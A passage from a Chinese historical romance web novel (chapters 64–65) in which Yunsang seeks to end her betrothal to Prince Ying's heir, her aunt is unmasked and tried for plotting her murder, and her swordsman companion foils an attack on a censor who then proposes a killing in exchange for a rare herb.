千言万语化作最后一句问话,也是傅允此刻最想知道的问题。 云桑一时没反应过来爹爹在问什么,愣怔地抬起眼,有些迷惑。 傅允笑,没忍住调侃道:“总不能两个都要吧?可爹爹瞧着怕是哪一个都不愿意啊~” 云桑这才知晓爹爹在问什么,更是被那番调侃的话逗得急色。 “爹爹你乱说什么!” 她要是真敢这般,李承钰那边先不说,江见怕是得提剑砍点什么。 深吸一口气,云桑施一礼,话语坚定道:“还请爹爹替我去向英王府退婚。” 英王府内,与傅允寒暄了好半晌听到这声退婚,英王夫妻面上笑容缓缓褪去不动声色地看了眼下首的儿子。 原本还算气定神闲的如玉公子早已在那句退婚下抿紧了唇,气氛开始凝滞。 …… 云桑没有担心过爹爹去英王府退婚会有什么波折,关于自己身上的差错,世子或多或少也是知道的。 不管是他猜疑她失踪后遭遇了什么觉得心中介意,只他在上官大夫家看见自己和江见相处自己便没什么好辩驳的。 虽是失了记忆,但总归是她这边出了岔子,想必爹爹与英王爷好好说道,诚心致歉,对方应当也不会揪着她这个清誉有损的未婚妻不放了。 李承钰那样傲然挑剔的一个人,总不会还觉得她完美无缺了。 就好像年少时在皇宫读书时,李承钰最不喜旁人碰他的东西,只是被景王家的小公子李承欢用了一下砚台,就直接蹙眉将砚台丢给别人用了。 云桑还记得,她和李承钰定婚前,具体什么时候记不太清楚,应当是十三岁时的春日,那时她捡到了李承钰的佩玉,大抵是被自己摸久了,等到云桑送还给他时,等来的是对方一句不要了。 整个书院都知英王世子的性子,云桑也只以为是李承钰见他那只玉佩被她碰过了,便不想再要。 但玉佩这东西不是一般物件,云桑自然不能留着。 都是未曾婚嫁的少年男女,把玉佩这样的东西一送一接算怎么回事? 下学回去,云桑就将李承钰的玉佩给了爹爹,爹爹上朝后委婉地表示是家中女儿无意间捡到了世子的玉佩,特此来归还。 后面的事云桑就没管了,想着李承钰那样的性子定是收到玉佩也会随手丢给旁人。 因而,再对上自己觉得不再完美的未婚妻,怕是不会留恋。 想必爹爹会带回来一个好消息,婚事也能拿回来了。 从爹爹那里出来后,云桑回到了自己的院子,也没瞧见江见堵在海棠树下,心想应当是办他那些事了。 今日的日头很足,云桑让人将长榻搬出来,在外面悠闲晒太阳,吸收一下太阳精华。 长发凌乱却又自由地散落在颈侧,云桑才眯了一盏茶的时间,隐约听见有脚步声靠近,她微微睁眼,看见来人是谁,心中激荡,面色却露出恰到好处的讶然。 “小姐,这是小姐的二婶和堂妹,小姐还记得吗?” 照云是个很靠谱的姑娘,记住了她的叮嘱,演起来像模像样,要不是云桑此刻也得装一下,她非得夸几句不可。 蒋氏和傅文瑛竭力摆出往常不亏心的姿态,一前一后来到了明静院,傅文瑛的火候不如蒋氏,一双眸子里尚能看见些隐约的忐忑。 蒋氏就沉稳多了,看起来还如往昔一般慈爱。 对上那双犹如母亲般慈和的双目,云桑心中黯然。 她自出生便没有母亲,也没有感受过母亲是何种滋味,虽然爹爹待她已经足够好,可以说是又当爹又当娘,但还是有区别的。 二婶蒋氏的存在便时常让云桑感受到丝丝缕缕的、来自母亲的感觉。 尤其是当看二婶与妹妹文瑛相处时,那种独属于母女间的亲昵,总让年纪幼小的她十分羡慕。 二婶平素待她也很好,总是那样温柔和善,少不更事时,她觉得母亲的感觉大抵就是这般了。 若不是坠崖前那一眼,可能她永远都不会怀疑到二婶头上。 掩饰住复杂的心绪,云桑装出陌生又好奇的模样,生涩地喊人。 “见过二婶,妹妹。” 蒋氏看着眼前少女陌生的情态,像以前一样堆着笑道:“可算是回来了,大小姐这一趟委实凶险,好在洪福齐天,日后一定诸事如意。” 爹爹说他并未将自己遭遇刺杀的事情告知二叔一家,家中仆从更是只以为她只是晚归,但二婶却说出了凶险二字,怕是心神不稳下自己都没注意到自己说漏了嘴。 若是有擅长断案的刑部或者大理寺官员在此,怕是都能品出些味道来。 云桑也不急着点破,毕竟捉人要拿赃,自己一人所言就算爹爹信服又怎样,必须证据确凿才行。 蒋氏又装模做样地关切了几句,云桑始终表现出适当的陌生和努力对她们的亲近,蒋氏没看出什么毛病来,就要带女儿回去。 “不如让妹妹留下来同我一道说说话吧,爹爹和照云都说我先前和妹妹关系很好,就算不能恢复记忆,说说话也能熟悉熟悉。” 蒋氏不想留自己这个心性不够稳重的女儿在这,但云桑这一番话又叫人没法拒绝,看向少女那双纯澈欢喜的双眸,蒋氏强行让自己心安定些。 “是二婶考虑不周了,确实应该让你妹妹留下与你说说话,文瑛,你在这好好陪你姐姐说话,我还有事先回去了。” 一切发生得太快,蒋氏来不及反应也没机会反应,今日是个好机会,她得想想办法抹去那一道道罪恶的痕迹。 不仅是自己弟弟那边,还有那些被她收买去马车上做手脚的人。 踏出明静院,蒋氏面上的柔和寸寸碎裂,化作漠然。 看着愣愣站在面前的傅文瑛,云桑佯装出腼腆与羞涩,将软榻让出一半,对着傅文瑛友善地招手道:“快过来坐啊妹妹~” 正值芳华的少女本就生着一副与明月争辉的美丽容颜,此刻又这样对她灿烂笑着,这一下让傅文瑛回到了过去。 她心房松懈了些,没有那么紧张了。 反正姐姐现在丢了记忆什么都记不起来,而且、而且那事她根本就没插手,她是清白的。 对,她是清白的,母亲行凶时她都不知道的,不能怪她。 反复这样安慰了自己几遍,傅文瑛终于心安理得地坐在了姐姐身边,目光近距离落在那张鲜妍如花的面颊上,心又是跟着一怔。 流 落在外的几个月不仅没让姐姐损耗半分,甚至容色更甚从前了。 “姐姐似乎比先前丰盈了些。” 心里这样想着,傅文瑛一时嘴快便说了出来。 云桑下意识摸了摸自己的脸颊,没忍住笑了一下。 江见这人虽糙,但待她可一点都不糙,虽然也不能像家中这样精细,但几乎没受什么苦,在吃食上更是上心,不仅变着花样地吃,顿顿还吃得不少,长肉再寻常不过了。 “应该是,外面有很多好吃的,一不小心吃多了。” 少女浅浅地笑着,好似真的是在外面散心,看了许多美丽的风景,吃了许多美食,而不是遭遇了惨烈的刺杀,九死一生回来的。 想到这儿,傅文瑛情绪有些波动,被云桑捕捉到,眸光闪烁问道:“爹爹和照云都说咱们姐妹两以往关系甚好,为何妹妹看起来总有些生疏?” 傅文瑛本就不算平和的内心又是一乱,呼吸一滞。 “怎会,姐姐看错了,我只是见姐姐平安归来太高兴了。” 云桑含笑地看着莫名惊惶的傅文瑛,心中有了些数。 想来那事妹妹也是知道的,就是不知是二婶的意思还是她的意思,又或者她有没有沾手? 云桑自认从小到大待自己这个唯一的妹妹还是不错的,对二婶也是敬爱有加,究竟是什么原因才会让她们如此这般痛下杀手。 她到底挨着她们什么了? “听照云说起,妹妹与我从小常常一通吃,一同睡,形影不离,可惜姐姐现在都忘了,要不然真好奇那是什么感觉,一定很开心吧?” 云桑继续伪装着,十足记忆缺失的单纯模样,这让傅文瑛既放松又愧疚。 姐姐自小便待她如一母同胞的亲妹妹,有什么好吃的,好玩的,好用的都送一份给她。 她害怕雨夜的雷声,有段时间母亲生了弟弟,不能过来哄她睡,都是姐姐来陪她,与她聊天聊大半宿。 但就是这样的她,却害了姐姐差点横死,要不是遇到那个…… 忽然想起了那日跟在姐姐身边的那个剑客少年,傅文瑛心神一转。 那少年瞧着与姐姐便举止亲密,好似又跟了回来,不用想便知关系匪浅。 “姐姐,那个你带回来的江湖少年是什么人啊?” 顿时,傅文瑛其余情绪都跑了大半,心头火热。 不管姐姐是移情别恋还是清誉受损,与英王府那边的婚事都会摇摇欲坠,天家子孙,又怎能容忍未来的妻子不贞呢? 新潮翻涌下,傅文瑛没忍住打探起了姐姐的私事,心里期待着。 不过云桑现在与她已经不再是曾经的模样了,没有像寻常小姐妹一样承认或者分享自己的心情,只神秘兮兮道:“你很快就知道了。” 这一场聊天,傅文瑛不仅无功而返,还提心吊胆了一阵,十分沮丧。 …… 傅允回来的时候,天色已经完全暗了下来。 傅允今日先是假意去尚书台处理了半个时辰政务,又借口家中有事匆匆离开了再去的英王府,从英王府离开后便是追查蒋氏的弟弟蒋琥。 傅允曾施恩于武侯中的一个赵姓将领,此事交由他去办傅允很是放心。 果然,不过一日的功夫,便捉住了躲在大慈恩寺中的蒋琥,对着这个弟妹家的亲戚,傅允此刻再没了什么客气。 就是这个人直接害得他的囡囡掉下了悬崖,若不是命大不知尸骨都被江水冲散了。 虽然云桑这个受害人的指认很有力,但罪犯亲口认罪更妥帖些。 傅允是十足信任女儿的,若不是还想求个证词,他都能立刻取了蒋琥的性命。 妙澜可就给他留下这么一个女儿,含辛茹苦地养大,他怎能承受白发人送黑发人的痛。 将蒋琥调查了个底朝天,这半年去了哪里,做了什么,什么时候回来的,诸如此类调查得清清楚楚,再摔在被吓破胆的蒋琥面前,已经伤痕累累的蒋琥再坚持不住,全招了。 至于给马车做手脚的那些人,傅允也悄悄联合上官家将收了钱办事的小厮逮住了。 经过一番言语描述指认,最终确定了人就是蒋氏身边的吕婆子。 傅允长叹一口气,遣人将蒋琥和上官家的小厮都捏在了手里。 现在人证齐了,他放心了许多,然一想到今日英王府的回应,傅允想起女儿期待的眉眼,又犯起了愁。 李承钰那小子到底是什么意思呢? 第64章 第 64 章 夜会 江见这一整日也做了许多事, 先是扒着墙偷看了娘子一会,见娘子那个不怀好意的堂妹来了,他恋恋不舍地出门了。 嗯, 先去还那什么玉佩, 娘子交代过了。 一路打听来了永兴坊, 江见将怀里的双鱼佩掏出来,到了秦宅。 门口有两个小厮守门, 远远见到一个佩剑的少年过来,且直挺挺地就往他们这边来, 立即打起了精神。 “做什么的?” 语气谈不上冒犯,但也不算恭敬, 不过江见倒也不在意,他只是来送个东西便走。 也没回应两个小厮,只抛着玉佩道:“你们家那个当官的呢, 我有东西要还给他,让他来拿。” 江见并未贸然将玉佩交给小厮让其传递, 行走江湖多年, 他什么样的贪婪丑态没有看过,娘子说了这玉佩金贵, 万一这两人邪念一动, 将玉佩给昧下了怎么办? 还是当面给比较稳妥。 两个小厮哪里见过这样轻慢狂妄的人,敢站在门口让他们家大人出来见他。 替他们家大人觉得受到了冒犯, 两个小厮不可置信,没好气道:“你这人好生无礼,我们大人身为仕宦也是你想见就见的,简直狂妄!” 两个小厮只以为是哪里来的狂徒,就要驱赶。 江见有些烦, 但还是耐心又问了一遍,“你家主子到底出不出来,我真的有东西给他!” 两小厮仍是不信,只嗤笑道:“我家大人今日上职还未回来,哪里能来见你,你若真想见便在这里候着,说不定天黑就能见着我们大人。” 江见蹙起了眉,他可没有那么多时间等,他还要去给娘子买东西呢。 无论是钗环首饰还是吃食,他得让娘子知道他还是很有本事的。 虽然不像那个世子有高贵的出身,还读了很多书,还会些乱七八糟的东西,但是他不是一无是处的。 当然,他还得去找那个姓崔的御史头头,血灵芝还在他手上呢。 “既如此,我赶时间,你将你们这的一把手叫出来,我给他也行。” 一个家里管事的一把手,应当足够忠诚,不至于去昧主子的东西了。 两小厮又是嗤笑,看模样还想嘲讽他,江见再不忍了,腰间霜叶一抽,直接架在了其中一人的脖子上,剑刃的寒光瞬间让两人大叫一声。 “杀、杀人了!” 用剑抵着一个,江见看向另一个道:“别再跟我废话,把你们管事的一把手喊出来。” 有了人命当威胁,两个小厮再不敢犟嘴了,连滚带爬进去唤了秦家的老管家魏昌出来。 “阁下为何……” 魏管家一出来,话还没说全,眼见着一个东西就飞过来,他慌忙接住,还没来得及细看是什么,就听那欲行凶闹事的少年道:“这是你家主人的东西,我来还给他了,拿好!” 说完,江见霜叶剑一收,扬长而去。 小厮还要嘟囔些什么,被看清玉佩的魏管家制止了。 “别吵了,这位小公子真 是来还大人东西的,你们真是太失礼了,快快闭嘴!” 魏昌是秦家的老人了,也算是看着公子长大的,怎会不认识这块玉佩,只前一阵子回来后青河说当酬金了,他唉声叹气了许久。 如今回来了,他瞧着比任何人都高兴。 就是可惜没能留住人,魏昌心中遗憾道。 从秦家门口离开后,江见听闻崔和也未下职,就先去买东西去了。 乒乒乓乓地忙碌了好半天,又在路边摊嗦了几碗味道鲜美的羊肉面,江见继续去瞧好玩意去了。 据长安百姓说西市有很多胡人的新奇玩意,他要去买些回来给娘子玩。 又是乒乒乓乓好半天,最后见时间快到了,他买了些吃食,捂在怀里回去也凉不了。 但他今日买的东西实在不少,所以当他初夏在崔和面前时,脾气端肃古怪的御史不由皱了眉,看着身上挂满大包小包还拦着他的少年,目光不耐。 “小儿何故障路?” 崔和骑在马上,俯视着这个奇怪的少年,因为今日重重弹劾了伏陶那个老匹夫,使得陛下将他斥了一顿,崔和心情不错。 因此面对这个莫名堵在马前的少年多了几分好脾气,没有让家仆立即赶人。 “敢问是不是御史大夫崔和?” 怕认错了人,江见将人家的官职和名字都报了出来,态度十分认真。 但对于官宦来说,被人直呼姓名算得上是一种冒犯,尤其还是个看起来乳臭未干的小小少年。 算了,他心情好,斥两句得了。 不用他给眼色家仆立即叱喝道:“哪来的小子,敢直呼我们家主人的名讳,无礼!” 江见一听找对人了,也不在乎对方称不上友善的态度,喜笑颜开。 “没找错人就好,是这样,这位大人,我想跟你做个生意,买你手里的血灵芝,你开个价吧。” 血灵芝有价无市,江见已经做好了大出血的准备,毕竟错过这个村可就没这个店了。 好在这些年他攒了不少积蓄,要不然都要担心成婚的银钱不够。 “某为何要同你做什么生意,奇奇怪怪的小儿,赶紧走开,别碍着道。” 崔和又不缺银钱,而且他为什么要莫名和一个忽然蹿出来堵在他跟前又不知底细的少年做生意? 莫名其妙。 崔和急着回家吃夫人亲手烹制的羊肉汤饼,不想跟这个忽然冒出来的古怪少年纠缠。 策马就走,不给江见任何商量的机会。 江见本想去追,但身上还挂着叮铃咣啷的一堆东西不说,有的放久了会变凉,不好吃。 譬如糖炒栗子,还有酥梨糕那些,老板说凉了口感就不好了。 念此,江见决定先将这些东西拿给娘子,再回来寻崔和做生意。 要是嫌钱少那他就翻倍买,听娘子说御史很容易被皇帝扣俸禄的,他不信这官不动心。 怕糕点凉了,江见脚下的速度很快,不一会便赶回了傅宅。 急着回去拦人,江见将一身叮铃咣啷的东西交给娘子那个叫什么云的婢女,人又风一样出门了。 只要不往小姐屋子里钻,他做什么或者去哪都无所谓。 这是家主交代过她的,照云牢记,将东西带回去给小姐了。 天色渐黑,云桑见送过来的一堆东西,没瞧见半分人影,心中诧异。 这是个罕见的现象,云桑想。 “他人怎么没过来?” 照云自然而然地以为小姐是想的慌了,咧嘴笑道:“没说去做什么,只看着还有事,又匆匆出去了。” “哦。” 云桑表示知晓,开始好奇地翻看着江见给她买来的小玩意了。 酥梨糕很好吃,西域胡人的镜子也甚是清晰,还有一个带机关的小兔子玩具,真有趣。 …… 江见庆幸自己没有在娘子那磨叽时间,要不然他的血灵芝就危险了。 等江见紧赶慢赶追到了崔家门口,正好看见那惊险的一幕。 崔家门口有棵樟树,因为是四季不落叶的常青树种,尽管到了秋日还是枝繁叶茂。 也正是如此,一直藏身在枝叶间的杀手没有被发现,等要刺杀的目标下了马,立即从树上蹿了下来,身形矫健灵活。 刚才那个脾气古怪又冷傲的老头,已经被刺了一剑,若不是手中象牙笏阻挡,让剑偏移了几分,扎在了肩膀上,人怕是早没了。 然杀手不会善罢甘休,见一剑未中,很快刺来了第二剑。 身边就零星几个家仆,都已被杀手夺了性命,崔和这个已然受伤的文官哪里能躲得过,凶神大乱,只觉自己大限将至,就要赴死。 忽地,一声清越的金属碰撞声响起,意料之中的疼痛没有来到身上,崔和睁开眼,见杀手的剑竟脱了手,连退了好几步,也没反应过来。 一扭头,是个白袍少年,虽然身上没了那些叮铃咣啷的东西,崔和还是认出了他。 是那个要和他做生意的少年。 感谢那桩生意,崔和心道。 人没杀成,杀手还想拾剑再来,不过江见可不会允许自己的血灵芝跑了,眨眼间便掠过来,甚至不用拔出霜叶,直将人一脚踢翻在地,踩住了那杀手的手腕。 崔家的侍卫鱼贯而出,将凶手团团围住,捆得像个粽子。 江见来到崔和身前,看了眼他血流不止的肩膀,见血色无异样,江见松气道:“还好剑上没淬什么毒,死不了。” “主人!” 家仆围上来扶住了崔和,吓得心惊胆颤。 崔和看着少年笑盈盈的脸,捂着伤口艰难道:“多谢阁下相救……” 见江见还想说些什么,崔和心里门清,只脸色苍白对江见道:“阁下的事某都记得,不过眼下不大方便,改日定与阁下商议那桩生意,还请稍待。” 崔和自然不会同一个莫名其妙的陌生少年做什么生意,但恩人另当别论。 说完这句,崔和疼晕了过去,被家仆手忙脚乱接住,江见见状,也不纠缠了,留下了名姓住址,踏着夜色回去了。 …… 进入秋日后,天黑得也比夏日要早上些,听爹爹回来了,云桑忙让婢女摆饭,让爹爹一同过来吃。 家里就父女两人,这么多年来一直都是同桌而食,除非爹爹忙碌时候,回来得晚,云桑便不等了。 不仅是期待着能与爹爹一起用饭,还有她今日一直记挂着得退婚之事。 厨房送来四菜一汤,傅允换了身衣裳来到了女儿这里,熟练地净手用饭。 汤羹是鸽子汤,炖得软烂鲜美,云桑给爹爹盛了一碗,看着爹爹略显疲惫又带着浅浅笑意的面色,有些心疼道:“爹爹是不是又去尚书台处理公务了,每回都这样,不知道爱惜自己的身体,今晚可要多用些饭菜。” 傅允颇为受用地接受女儿的关怀,也没提今日去做的那些腌臜事,只连连应声。 父女两人你一言我一语絮叨了一会,云桑问起了爹爹去英王府退婚的进展。 本以为是桩毫无悬念的事,问完后就见爹爹面色踌躇,似有难言之隐。 “爹爹何故这般,莫不是英王说了好些难听的话羞辱爹爹?” 被退婚的人家总是会掉几分面子,云桑以为英王家恼了,让爹爹难堪。 “非也。” 傅允摇头,安抚着着急的女儿,将今日英王府一行的结果一一道来。 “世子没有答应咱们的退婚,说要与你亲自谈一谈。” …… 云桑沐浴的时候都在纳闷英王府的态度。 如此清晰明了的局面,李承钰应当心里有数,他究竟是要谈什么呢? 躺到床上没一会,云桑便控制了自己不再去想,猜测李承钰应当明日便会登门,疑惑定然很快解了。 快入睡时,云桑听到窗边传来敲击声,就像是有人故意为之。 云桑立马清醒了,下意识就往江见身上猜。 趿着鞋,穿好外袍过去,轻轻推开窗子,却发现空无一人,刚开始害怕起来,旁边就伸过来一只手敲了一下她的脑袋,差点害得云桑叫出声来。 “干什么!” 白袍就算是在夜里也非常显眼,尤其江见的剑鞘还是银色的,在冷月下银光 闪闪。 摸着脑袋,月色下少女的面容凶凶的,江见怎么瞧怎么可爱。 “来见你,我好久没见你了。” 挤到支摘窗里面,江见那番话听起来异常委屈的话,云桑失笑道:“不过才大半日,哪有多久。” 黑夜中,少年的面容模糊,只一双眼眸晶亮,灿若星子。 “很久了,以前几乎日日夜夜都在一起的。” 说这话时,江见声音低沉,星子都黯淡了几分。 云桑笑意一滞,不知为何忽觉有些愧疚。 她与江见以前确实是形影不离的,但如今江见都不能进她的屋子了。 这样的落差确实不小,也难怪他会失落。 愧疚之下,云桑也跟着心软,动了个小心思,迟疑道:“要不你趁着现在没人的时候进来,就从这里,动静小些,别被人发觉了。” 似乎就是在等着她这一句,话音一落,就听到少年嘿嘿的笑声,一听就是得逞后的窃喜。 云桑气恼,但话已经说出口了,江见如泥鳅一般从窗沿钻了进来。 云桑察看了四下,还是静悄悄的一片,忐忑中夹杂着一抹没来由的兴奋,云桑将支摘窗轻轻阖上。 薄薄的一层绢帛遮挡住了少年人汹涌火热的情愫。 第65章 第 65 章 约见 昨夜偷摸跟江见玩闹了许久, 具体记不清了,似乎有一个时辰了。 因为记得她刚躺床上时,照云说刚到亥时, 江见走时将近子时了。 江见走后, 因为经历了一番漫长而热烈的感情交流, 云桑一时半会睡不着,在床上干巴巴地躺了好半天才睡过去。 以致于翌日睡得好到晌午, 照云也任由着她睡。 因为记挂着李承钰会约谈她,云桑担忧自己睡过头错过了什么。 问照云, 照云说未曾有人相邀,英王府更是没有。 这事不仅云桑挂心, 江见更是放在心尖尖上,亲到一半的时候突然捏着她的脸颊肉问起了这事。 “定是他不想退,还想娶你!” 听完英王家给出的答复, 江见义愤填膺,一番话说得十分笃定。 云桑听得直笑, 信誓旦旦反驳他:“不可能的, 他看起来对我并无什么情意,又看见了当时我还没恢复记忆前你我亲昵的一幕, 这样若是还要娶, 那他得多爱我?” 犹记得当初在皇宫读书,李承钰就不是爱同姑娘们玩闹的, 不像是其他皇孙,总喜欢同伴读来的官家千金说话,譬如景王家那个李承欢,甚至还会言语逗弄来伴读的姑娘。 云桑极不喜欢那样的人,待他更是冷淡疏离, 好在后面与英王府有了婚约,李承欢不好当着堂兄的面来烦她,而那时定了婚的李承钰也会顾着未婚妻的体面来护她。 但这完全不能证明李承钰对她的感情有多深厚,云桑也从没那么自恋过。 李承钰来她家提亲,也许只是单纯觉得她各方面都适合做他的世子妃罢了。 面对云桑不以为然的态度,江见不服气,对着她的唇轻咬了一口。 “娘子别还不信,他什么人我一眼就看出来了,只娘子,白长了那么一双大眼睛。” 云桑被他的话弄得哭笑不得,但这事很快就被她抛诸脑后了,因为恨恨说完这些话,江见又卷着火焰来了。 江见今日又出门去了,说是血灵芝有动静了。 云桑自然知道他说的是什么,崔御史被刺险些丧命的事不过一日便在长安传遍了。 连陛下都惊动了,要彻查此事。 爹爹就她一个孩子,饭桌上从不忌讳与她说话,时常跟她说些朝政上的闲事,毕竟生活在长安这个权贵多如狗的地儿,自己的未婚夫又是会袭王爵的皇孙,日后可不少要掺和大事,傅允觉得多听点反倒是好事。 御史大夫崔和,素来愤世嫉俗,尤其嫌恶当今的尚书右仆射,也就是伏陶。 本朝尚书省未设尚书令,只因这职位被本朝天纵奇才的那位太宗担任过,为表尊崇敬畏,从那以后,尚书省不设尚书令,只有左右仆射两位长官。 而世人以左为尊,左仆射的地位较之右仆射又高一些,加之右仆射伏陶这人本就是个花架子,一个高官之位本就不是靠真才实学得来的。 “不过是靠着些糊弄人的鬼神之术入了陛下的眼,会些阿谀奉承、溜须拍马的微末技艺罢了。” 云桑还记得每次爹爹说起伏陶时,虽然神色平静,但云桑能看出爹爹的不屑。 靠着这些拙劣手段哄得陛下予他右仆射的位置,与他并列尚书省长官,傅允很难不膈应。 不过那伏陶自知在能力和威望上不能与左仆射的傅允相提并论,并没有不知天高地厚地来挤兑傅允,掌控尚书台。 崔和那等性子,最是瞧不上伏陶那等谄媚奸宦,一年到头没少参他,这也导致伏陶异常憎恨崔和。 也就是这两日,崔御史弹劾了伏陶圈占民宅民田,草菅人命,引起当地怨愤,崔和抓住时机在陛下面前狠狠参了一本,让伏陶吃了陛下的一顿挂落。 云桑甚至想,刺杀崔和的杀手兴许就是那个伏陶派来的。 江见说崔和只是肩膀被扎了一剑,轻飘飘地说了句轻伤,对此云桑表示不认同。 那只是江见看来的轻伤而已,放在那些文官身上,都是能疼得死去活来的重伤了。 云桑不敢想自己要是重了一剑会是什么样的疼法。 脚扭伤了都很疼的。 江见走后,爹爹也去上职了,云桑就安静在家等着李承钰约见。 …… 江见再次来到崔家,对方的态度是截然不同的,再没了刁难,是崔家的管家将人迎进去的。 崔和在会客厅接见了他,肩上的伤口已经上了顶好的药,包扎得整整齐齐,脸色苍白。 见江见来,崔和屏退了厅内的仆从侍婢,显然有些不能对外人言的话要与江见说。 崔和手边的案几上摆着两个托盘,一盘是黄灿灿的金锭,粗粗一扫也有百来两,另一盘上是几张契书。 “阁下救了某的性命,这些钱财和铺面是某的小小诚意。” 崔家家产颇丰,崔和毫不吝啬地掏出大把钱财来感谢他的救命恩人,但今日他不止为此。 看见那些钱财,江见满意地点了点头,但想到了什么,又不大满意道:“不如用血灵芝来感谢我。” 崔和摇头,笑容有些狡诈,很难想象一根筋如崔和这样的人还会动这种无赖的小心思。 “某实现可没跟你做这笔生意,你也没说救某需要血灵芝来换,所以谢礼某不能给你血灵芝。” 江见有些恼了,觉得这人为什么这么犟,就是不愿意给他血灵芝。 “那你怎样才肯将血灵芝给我?” 这话问到了崔和的心坎上,他看了眼自己肩上透着殷红的纱布,语气息怒难辨。 “与某做一场交易,杀了当朝尚书右仆射伏陶,我就将血灵芝送于阁下。” 既然伏陶不仁,想要他的命,那便休怪他不义了。 …… 云桑今日什么也没等到,心中诧异的紧。 李承钰看着不像是会拖延的人,退婚于他也算个大事,他没理由磨磨唧唧的才是。 爹爹回来后,朝爹爹一问,才知陛下想孙子们了,将皇孙们都召进了宫,既是考较功课也是打发一下时间。 陛下时常来这么一下,可能是因为人老了容易寂寞,喜欢看看年轻的孙辈。 但每次也得好几日的功夫皇孙们才能出来,云桑想着估计又要等上一等了。 不过接下来几日并不无趣,因为拿住了人证的爹爹对二婶那边动手了。 稀松平常的午后,日头正暖和着,大理寺登门,将二婶和她身边的婆子带走了。 至于蒋琥和听了指使的上官家的仆从,早已经在大理寺狱了。 被带走的时候,二婶失了仪态,在那破口大骂,说了些不好听的话。 咒骂她,咒骂二叔,还有怨恨爹爹的话。 堂妹文瑛在后面直掉眼泪,也不敢 看她。 云桑不太理解,二婶为何有这些怨念,直到好奇心驱使她跟去了大理寺,旁听了对二婶的审讯,才知道原因。 “我恨秦妙澜,也恨你傅允,我喜欢了你这么多年,可你从不正眼看我,眼里只有秦妙澜,宁愿要一个二嫁妇也看不见我,可我还是喜欢你,宁愿嫁给你无能的弟弟,只为了还能时不时地看见你。” “我恨傅仪君,不仅是她是秦妙澜生的,也因为她挡了我女儿的路,她们母女真是晦气,一个抢了我的如意郎君,一个抢了我女儿的,都该死!” 听到这,云桑已经不想再听了,也不敢再听了。 一桩令爹爹尴尬的陈年旧事,她都后悔过来了。 也许是爹爹内心的醋劲还未消,他极少同云桑说起母亲的前夫,沈励,如今戍守边关的将军。 沈将军是母亲的竹马,十六岁时结为了夫妻,但后来感情出了裂痕,听说是因一个女子,母亲觉得遭受了背叛,果断和离,后来嫁给了始终守候她的爹爹,成就了一段佳话。 但母亲显然是个命途多舛的人,如果外祖家没事,母亲可以同爹爹这个良婿白首终老的,就差一点。 二婶歇斯底里的一番话勾起了云桑对那个从未谋面的母亲的思念。 她回去对着爹爹给母亲所作的画像出了很久的神,心中千头万绪。 母亲的人生当真可惜,以为柳暗花明了,却突遭厄难,被夺了性命。 若是母亲活着就好了,云桑想,不仅是为着自己,也为了母亲本该拥有的美满后半生。 爹爹真的是个很好的郎君。 江见夜里来寻她的时候,察觉到娘子明显低迷悲伤的情绪,关切道:“娘子今日怎么心情不好,是谁欺负你了,我帮你收拾他。” 抱着裹在被窝里像个小馒头的云桑,江见凑过去真诚道。 云桑叹了一声气,在江见怀中扭了扭身子道:“没人欺负我,我只是有些想我娘了。” 这话一出来,江见想起了自己一直忽略的东西。 他怎么从未见过岳母大人? 这样想着江见也就问了出来,听得云桑一愣,连悲伤的情绪都散了大半。 “没人同你说吗?” “说什么?” 江见一头雾水地反问,云桑一想也是,江见才来家中几日,自己都忘了同他说的事旁人又怎会多嘴。 “我娘在生我的时候就去世了,爹爹说娘当时身子不好,临产时候又受了外祖父家的刺激,当时大出血没能救回来,便丢了性命。” 对于母亲,云桑很陌生,但话语中总带着一种执着的情愫。 江见啊了一声,嘀咕道:“原来女子生小娃娃会丢了性命啊,太可怕了,那、那我不要娘子给我生小娃娃了,以后传承衣钵还是寻个徒弟吧。” 云桑没想到他会想这么远,想得那么体贴,虽然心里很是受用欢喜,但还是解释了几句,以免对江见造成什么错误引导。 “也不是所有啦,只是有的女子会,大概是身子骨不好造成的,不是所有女子生了小娃娃就丢了性命的,要不然人人都要没有母亲了。” 但得知了这一可能的江见倔了起来,说什么也不肯冒这个风险。 “不行,有这个可能就不生了,娘子的身子骨看着可不够强健,万一丢了性命怎么办,我只要娘子就够了,孩子不孩子的无所谓了。” “不过……” 黑暗中,江见眼珠子一转,嘀咕道:“我得寻上官朔打听打听,有没有可以做生小娃娃的事又不会真怀上小娃娃的法子。” 因为凑得极近,云桑将那番话听得清清楚楚,脸红的同时暗啐道:就知道这人放不下! …… 江见说崔御史已经答应了拿血灵芝来与他做生意,不过当云桑问起崔御史要的是什么时,江见明显含糊了一瞬,只说是办个差事。 看出江见不愿说的意思,云桑只以为是什么能让他丢脸的差事,便没有多问。 三日过后,皇孙们被陛下放出宫了,云桑也收到了李承钰的信,约她在天酩酒楼相见。 出门的时候,云桑远远碰上了傅文瑛,才几天的功夫,人瘦了许多。 想来是来寻她的,然见云桑这一副要出门的架势,又落寞地退了下去。 云桑目光从堂妹的背影上移开,心中情绪五味杂陈。 在大理寺的铁证下,蒋氏并未负隅顽抗,承认罪孽后坚持言自己的女儿是无辜的,并不知情,然后便用发间的金簪自戕了。 而蒋琥也被判了问斩,云桑虽好运活了下来,可被他杀害的那些傅家家仆却是实打实的,尤其是照雨,理应以死谢罪。 蒋氏身边的吕婆子身为家仆却胆敢暗害主家姑娘性命,傅允给了个痛快,一杯毒酒送走了。 上官家那位收了钱办事的奴仆也被主家发卖了出去,得了教训。 蒋氏说得不错,蒋氏动手前,两人均不知情,傅文瑛虽心中暗生窃喜,但终究未参与,傅允念着一丝情意没有将人如何,只下令封死了东西院的院墙,傅文瑛如今过来还是从偏门进的。 看着姐姐坐上犊车离开,傅文瑛多嘴问了门房一句。 “姐姐去哪里?” “自然是去赴世子的约。” 傅文瑛原本就苍白的面色愈发不好,眼神黯然。 …… 天酩酒楼 云桑自以为来得挺早了,然看见雅间中坐得端端正正、似乎已经等了好一会的身影时还是心道慢了些。 李承钰还带了琴来,奏着君子最爱的琴曲,《高山流水》。 听到开门的动静,李承钰也没有停下,也没有看云桑,只是琴音颤了颤。 云桑也没有打扰,只在李承钰琴案对面的椅子上坐了下来,聆听琴曲。 年轻的公子身着月白色大袖锦袍,身姿端正挺拔,尽管坐在那也能窥见其颀长的身量。 他带着一副仙鹤玉冠,长簪垂下的缨带系在下颚,勾勒出瘦削精致的轮廓。 修长如玉的手指自浅蓝色的宽袖探出,灵活又风雅地于七弦琴上抚弄,奏出阵阵雅音。 不得不承认,她这位未婚夫就算抛去英王世子的身份,这副容貌也足够博得长安姑娘们的痴恋爱慕。 不过他的俊美与江见是截然不同的感觉。 